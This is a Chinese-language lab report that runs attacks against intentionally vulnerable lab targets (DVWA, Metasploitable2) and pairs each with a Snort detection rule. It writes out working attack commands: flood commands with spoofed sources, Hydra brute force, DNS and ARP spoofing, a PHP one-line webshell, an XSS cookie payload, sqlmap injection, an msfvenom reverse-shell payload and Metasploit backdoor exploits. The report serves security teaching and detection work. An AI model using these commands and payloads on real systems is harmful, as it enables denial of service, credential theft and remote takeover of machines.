目錄
1. 實驗環境
1.1 網絡拓撲
實驗網絡拓撲
1.2 重要工具
1.2.1 目標網站工具Dvwa
DVWA(Damn Vulnerable Web App)是一個基於PHP/MySql搭建的Web應用程序,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助Web開發者更好的理解Web應用安全防范的過程。
DVWA一共包含十個模塊分別是:
1.Bruce Force //暴力破解
2.Command Injection //命令注入
3.CSRF //跨站請求偽造
4.File Inclusion //文件包含
5.File Upload //文件上傳漏洞
6.Insecure CAPTCHA //不安全的驗證
7.SQL Injection //sql注入
8.SQL Injection(Blind) //sql注入(盲注)
9.XSS(Reflected) //反射型XSS
10.XSS(Stored) //存儲型XSS
同時每個模塊的代碼都有4種安全等級:Low、Medium、High、Impossible。通過從低難度到高難度的測試並參考代碼變化可幫助學習者更快的理解漏洞的原理。
簡單地說,dvwa呈現給攻擊者的就是一個網站,這個網站方便攻擊者進行各種攻擊。下圖是dvwa主頁。
靶機網站DVWA主界面
1.2.2 攻擊檢測工具Snort
Snort是一個跨平台、輕量級的網絡入侵檢測工具,從入侵檢測的分類上看,Snort應當屬於基於網絡的誤用檢測。針對每一種入侵行為,都提煉出它的特征並按照規范寫成規則,從而形成一個規則庫,將捕獲的數據包對照規則庫逐一匹配,若匹配成功,則認為該入侵行為成立。下圖是本實驗的snort配置文件。
snort配置文件
1.2.3 漏洞掃描工具Nessus
Nessus是全球使用人數最多的系統漏洞掃描與分析軟件。提供完整的電腦漏洞掃描服務, 並隨時更新其漏洞數據庫,可自行定義插件(Plug-in)。免費版只能掃描16個ip。下圖是掃描結果實例。
nessus項目信息頁
1.2.4 靶機系統Metasploitable
Metasploitable2 虛擬系統是一個特別制作的ubuntu操作系統,本身設計作為安全工具測試和演示常見漏洞攻擊。簡單地說就是一個充滿漏洞的linux系統。
1.2.5 滲透工具Msfconsole
msfconsole簡稱msf,是一款常用的滲透測試工具,包含了常見的漏洞利用模塊和生成各種木馬。下圖是打開msf並查找工具的實例。
mfsconsole
1.2.6 其他工具
端口掃描工具:nmap;
泛洪攻擊工具:hping3、slowloris;
暴力破解工具:Hydra
Dns劫持工具:ettercap
Arp欺騙工具:arpspoof
WebShell工具:antsword(中國蟻劍)
Sql注入工具:sqlmap
木馬生成工具:msfvenom
2. 攻擊實驗
2.1 信息探測
2.1.1 tcp半開放掃描
(1)工具:Nmap
(2)方法:nmap -sS –p- 192.168.47.133
(3)解釋:獲取遠程主機的開放端口
-sS 表示使用tcp半開放掃描,-p-表示端口1到65535
(4)攻擊效果:
tcp半開放掃描
(5)檢測結果:
檢測日志
(6)檢測規則
alert tcp $EXTERNAL_NET any -> $HOME_NET 705 (msg:"SNMP AgentX/tcp request"; flow:stateless; metadata:service snmp; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1421; rev:13;)
2.1.2 tcp FIN 掃描
(1)工具:Nmap
(2)方法:nmap –sF -f 192.168.47.133
(3)解釋:利用FIN掃描方式探測防火牆狀態。FIN掃描方式用於識別端口是否關閉,收到RST回復說明該端口關閉,否則說明是open或filtered狀態
(4)攻擊效果:
tcp FIN掃描
2.1.3 Nessus掃描
(1)工具:Nessus
(2)方法:新建掃描項目,輸入所有目標ip,保存,在my scans里啟動。
nessus新建掃描項目
在項目列表頁啟動掃描
(3)解釋:自動掃描端口、服務、漏洞。
(4)攻擊效果:
掃描結果概覽
脆弱性掃描結果詳情
(5)檢測結果:
檢測日志
(6)檢測規則
alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP public access udp"; flow:to_server; content:"public"; metadata:service snmp; reference:bugtraq,2112; reference:bugtraq,4088; reference:bugtraq,4089; reference:cve,1999-0517; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1411; rev:14;)
alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP request udp"; flow:to_server; metadata:service snmp; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1417; rev:13;)
2.2 DOS攻擊
2.2.1 UDP Flood
(1)工具:hping3
(2)方法:hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.47.133
(3)解釋:
-q 安靜模式
-n 數字化輸出,象征性輸出主機地址
-a 偽造IP攻擊
--udp UDP 模式
-s 53 表示源端口為53
--keep 保持源端口
-p 68 表示目的端口為68
--flood 表示盡最快發送數據包,不顯示回復
(4)攻擊效果:
udp flood
(5)檢測結果:
檢測日志
(6)檢測規則:
alert udp any any -> $HOME_NET any (msg:"UDP Flood Attack"; flow:stateless; threshold: type both, track by_dst, count 1000, seconds 60; classtype:attempted-dos;priority:1; sid:7000001;rev:1;)
2.2.2 SYN Flood
(1)工具:hping3
(2)方法:hping3 -c 1000 -d 1200 -S -p 80 --flood --rand-source 192.168.47.133
(3)解釋:
-c表示發送數據包的數目
-d 表示發送數據包大小,缺省是0。
-S 表示數據包的SYN 位為1
-p 80 表示目的端口為80
--flood 表示盡最快發送數據包,不顯示回復
--rand-source 表示隨機源ip
(4)攻擊效果:
syn flood
(5)檢測結果:
檢測日志
(6)檢測規則:
alert tcp $EXTERNAL_NET 10000: -> $HOME_NET 0:1023 (msg:"ET DOS Potential Tsunami SYN Flood Denial Of Service Attempt"; flags:S; flow:to_server; dsize:>900; threshold: type threshold, count 10, seconds 60, track by_dst; reference:url,security.radware.com/uploadedFiles/Resources_and_Content/Threat/TsunamiSYNFloodAttack.pdf; classtype:attempted-dos; sid:2019404; rev:3; metadata:created_at 2014_10_15, updated_at 2014_10_15;)
2.2.3 Slowloris http flood
(1)工具:Slowloris
(2)方法:slowloris 192.168.47.133
(3)解釋:Slowloris是在2009年由著名Web安全專家RSnake提出的一種攻擊方法,其原理是以極低的速度往服務器發送HTTP請求。由於Web Server對於並發的連接數都有一定的上限,因此:若是惡意地占用住這些連接不釋放,那么Web Server的所有連接都將被惡意連接占用,從而無法接受新的請求,導致拒絕服務。
(4)攻擊效果:
http flood
(5)檢測結果:
檢測日志
(6)檢測規則:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ETPRO DOS Slowloris HTTP Traffic Inbound"; content:"X-a|3a 20|"; threshold: type both, count 10, seconds 120, track by_dst;sid:7000002;classtype:attempted-dos;)
2.2.4 ICMP flood
(1)工具:HPing3
(2)方法:hping3 -d 1200 --icmp --flood -a 192.168.47.1331 192.168.47.133
(3)解釋:--icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。
(4)攻擊效果:
icmp flood
(5)檢測結果:
檢測日志
(6)檢測規則:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL ICMP Large ICMP Packet"; dsize:>800; reference:arachnids,246; classtype:bad-unknown; sid:2100499; rev:5; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
2.3 暴力破解
2.3.1 FTP暴力破解
(1)工具:Hydra
(2)方法:hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.47.133 ftp
(3)解釋:hydra <參數> <IP地址> <服務名>
-L 表示登錄用戶
-P 表示所有嘗試的密碼
-o 輸出結果
-t 並行運行任務的連接數
-vV 顯示詳細過程
(4)攻擊效果:
fpt暴力破解
2.3.2 SSH暴力破解
(1)工具:Hydra
(2)方法:hydra -L user.txt -P passwd.txt -o ssh.txt -t 5 -vV 192.168.47.133 ssh
(3)解釋:hydra <參數> <IP地址> <服務名>
-L 表示登錄用戶
-P 表示所有嘗試的密碼
-o 輸出結果
-t 並行運行任務的連接數
-vV 顯示詳細過程
(4)攻擊效果:
ssh暴力破解
(5)檢測結果:
檢測日志
(6)檢測規則:
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"ET SCAN Potential SSH Scan"; flow:to_server; flags:S,12; threshold: type both, track by_src, count 5, seconds 120; reference:url,en.wikipedia.org/wiki/Brute_force_attack; reference:url,doc.emergingthreats.net/2001219; classtype:attempted-recon; sid:2001219; rev:20; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
2.4 局域網攻擊
2.4.1 dns劫持
(1)工具:ettercap
(2)方法:修改ettercap配置,將目標主機要訪問的地址劫持到本地
ettercap配置
編輯本機主頁
執行ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /192.168.47.2// /192.168.47.133//
(3)解釋:第一個ip是目標地址,第二個ip是局域網網關地址。當局域網里的目標主機訪問某網站時,把它劫持到本機網站
(4)攻擊效果:
dns劫持
靶機訪問新浪,被劫持到了攻擊者主頁
(5)檢測結果:
檢測日志
(6)檢測規則:
alert udp $HOME_NET 53 -> $EXTERNAL_NET any (msg:"DNS dns response for rfc1918 192.168/16 address detected"; flow:from_server; content:"|00 01 00 01|"; content:"|00 04 C0 A8|"; within:4; distance:4; fast_pattern; metadata:policy security-ips alert, service dns; reference:url,www.faqs.org/rfcs/rfc1918.html; classtype:policy-violation; sid:15935; rev:1;)
2.4.2 arp斷網攻擊
(1)工具:arpspoof
(2)方法:arpspoof -i eth0 -t 192.168.47.133 192.168.47.2
(3)解釋:第一個ip是目標地址,第二個ip是局域網網關地址。通過偽造IP地址和MAC地址實現ARP欺騙。
(4)攻擊效果:
arp斷網
2.5 WebShell
2.5.1 php木馬上傳
(1)工具:一句話木馬
(2)方法:構造php文件,內容:<?php @eval($_POST['pass']);?>
(3)解釋:登錄DVWA靶機的文件上傳界面,利用網站的文件上傳漏,上傳“一句話木馬”
(4)攻擊效果:
攻擊者在靶機網站,利用文件上傳不檢測格式的漏洞,上傳木馬
(5)檢測結果:
檢測日志
(6)檢測規則:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SERVER PHP tags in HTTP POST"; content:"<?php";sid:2011768; metadata:created_at 2010_09_28, updated_at 2019_10_07;)
2.5.2 蟻劍webshell回連
(1)工具:AntSword
(2)方法:回連地址:http://192.168.47.133/dvwa/hackable/uploads/pass.php
密碼:pass
(3)解釋:使用蟻劍回連一句話木馬,得到目標機器的webshell
(4)攻擊效果:
蟻劍連接列表
通過蟻劍連接,可以遠程登錄靶機
2.6 應用層攻擊
2.6.1 跨站腳本攻擊(XSS)
(1)工具:
(2)方法:<script>alert(document.cookie);</script>
(3)解釋:在dvwa靶機的XSS界面輸入框輸入此語句,相當於向頁面中注入js語句,拿到cookie
(4)攻擊效果:
注入js語句進行xss攻擊
2.6.2 sql注入
(1)工具:sqlmap
(2)方法:
sqlmap -u "http://192.168.47.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=qce42r4jmrbp5dufmhmiuebvi6" --batch -D dvwa -T users --column
(3)解釋:-u 注入點
-cookie 上一步通過xss拿到的cookie
-D 目標數據庫
-T 目標表
--column展示所有列名
(4)攻擊效果:
sqlmap注入成功,獲取了表中的字段信息
2.7 msfvenom生成木馬
(1)工具:msfvenom、msfconsole
(2)方法:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.47.130 LPORT=1234 -f elf > shell.elf #生成木馬程序shell.elf,lhost是本地ip
開啟msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
設置lhost、lport與第一步一致
輸入exploit開始監聽
msf啟動監聽
誘騙目標主機下載並執行木馬程序,在攻擊機上看到連接成功,輸入help查看可進行的操作
連接成功
輸入shell,獲得目標主機的shell
(3)解釋:使用木馬開啟后門,遠程登錄目標主機
(4)攻擊效果:
輸入shell,得到靶機的shell
2.8 Metasploitable靶機滲透
2.8.1 irc_3281_backdoor
(1)工具:msfconsole
(2)方法:search irc,找到對應得模塊
在msf中檢索模塊
進入對應模塊,查看配置 show options
查看配置
設置目標主機ip,進行exploit
進行滲透
(3)解釋:利用irc特定版本存在的漏洞滲透目標主機
(4)攻擊效果:拿到目標主機的shell
遠程執行
2.8.2 vsftpd_234_backdoor
(1)工具:msfconsole
(2)方法:search vsftpd,找到對應得模塊
查找模塊
進入對應模塊,查看配置 show options
查看配置
設置目標主機ip,進行exploit
滲透
(3)解釋:利用vsftpd特定版本存在的漏洞滲透目標主機
(4)攻擊效果:拿到目標主機的shell
遠程執行
2.8.3 ingrelock_backdoor
(1)工具:msfconsole
(2)方法:利用telnet連接1524端口,直接返回root會話
telnet連接
(3)解釋:利用ingrelock1524端口漏洞滲透目標主機
(4)攻擊效果:拿到目標主機的shell
遠程執行
2.8.4 distcc程序漏洞
(1)工具:msfconsole
(2)方法:search distcc,找到對應得模塊
查找
進入對應模塊,查看配置 show options
查看配置
設置目標主機ip,進行exploit
滲透
(3)解釋:利用dsitcc程序漏洞滲透目標主機
(4)攻擊效果:拿到目標主機的shell
遠程執行
2.8.5 samba漏洞
(1)工具:msfconsole
(2)方法:search samba,找到對應得模塊
查找
進入對應模塊,查看配置 show options
查看配置
設置目標主機ip,進行exploit
滲透
(3)解釋:利用samba特定版本存在的漏洞滲透目標主機
(4)攻擊效果:拿到目標主機的shell
遠程執行
2.8.6 Apache Tomcat弱口令
(1)工具:msfconsole
(2)方法:search tomcat,找到對應得模塊
查找
進入對應模塊,查看配置 show options
查看配置
設置目標主機ip,端口8180,進行exploit,獲得用戶名tomcat,密碼tomcat。
破解
(3)解釋:破解目標主機tomcat口令
(4)攻擊效果:獲得目標主機tomcat的用戶名、密碼
獲得靶機tomcat用戶名和密碼